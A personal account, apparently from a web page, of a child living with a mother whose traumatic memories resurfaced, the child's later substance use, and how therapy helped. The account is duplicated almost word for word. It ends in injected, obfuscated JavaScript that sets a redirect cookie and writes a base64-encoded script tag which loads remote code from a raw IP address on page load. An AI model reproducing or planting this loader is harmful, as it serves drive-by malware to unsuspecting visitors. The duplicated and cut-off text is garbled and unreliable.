My experience is that I was about 10 or 11 when my mother began to experience memories and pain. For a while it was really bad. I realize now that people going through what my mother went through might seem crazy to people that haven’t lived through very traumatic experiences. Part of my experience was seeing my mother in so much pain and agony. The other part of my experience had to do with my mother leaning on me and confiding in me at times before my Dad got home from work. All I knew then was my mother needed me. Now I realize I was only a little kid and wasnt capable of really helping my mother with what she was going through. I turned to heavy drinking and eventually pot use and really messed myself up.
Looking back on all of it I realize the positive role my Dad played by being able to deal with my mothers pain and needs but also getting her into therapy. But something my Dad regrets is not having my sister and I in therapy. The lesson to be learned here is the kids should be in therapy during these traumatic times to. It could make a world of difference.
In my own therapy as an adult I learned a lot about how the experiences affected me. As a kid I started to have to walk on eggshells because so many things I said were triggers to my mom when she was beginning to go through the pain and memories. Certain things I said, or behaviors, led to my mom “exploding” sometimes for hours, leading to more depression, anger, rage, etc…This would also get my Dad upset and he was only just beginning to understand what was happening. This led to a structure of guilt being created in my mind at a young age. The brain is a series of neurons and connections/synapses (i.e. structures). I carried a lot of guilt about all sorts of things for many years, and a lot of worry about things that I had no influence or control over. Therapy has helped me to unravel this and I am beginning to have a more fulfilling and positive life.y experience is that I was about 10 or 11 when my mother began to experience memories and pain. For a while it was really bad. I realize now that people going through what my mother went through might seem crazy to people that haven’t lived through very traumatic experiences. Part of my experience was seeing my mother in so much pain and agony. The other part of my experience had to do with my mother leaning on me and confiding in me at times before my Dad got home from work. All I knew then was my mother needed me. Now I realize I was only a little kid and wasnt capable of really helping my mother with what she was going through. I turned to heavy drinking and eventually pot use and really messed myself up.
Looking back on all of it I realize the positive role my Dad played by being able to deal with my mothers pain and needs but also getting her into therapy. But something my Dad regrets is not having my sister and I in therapy. The lesson to be learned here is the kids should be in therapy during these traumatic times to. It could make a world of difference.
In my own therapy as an adult I learned a lot about how the experiences affected me. As a kid I started to have to walk on eggshells because so many things I said were triggers to my mom when she was beginning to go through the pain and memories. Certain things I said, or behaviors, led to my mom “exploding” sometimes for hours, leading to more depression, anger, rage, etc…This would also get my Dad upset and he was only just beginning to understand what was happening. This led to a structure of guilt being created in my mind at a young age. The brain is a series of neurons and connections/synapses (i.e. structures). I carried a lot of guilt about all sorts of things for many years, and a lot of worry about things that I had no influence or control over. Therapy has helped me to unravel this and I am beginning to have a more fulfilling and positive life. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘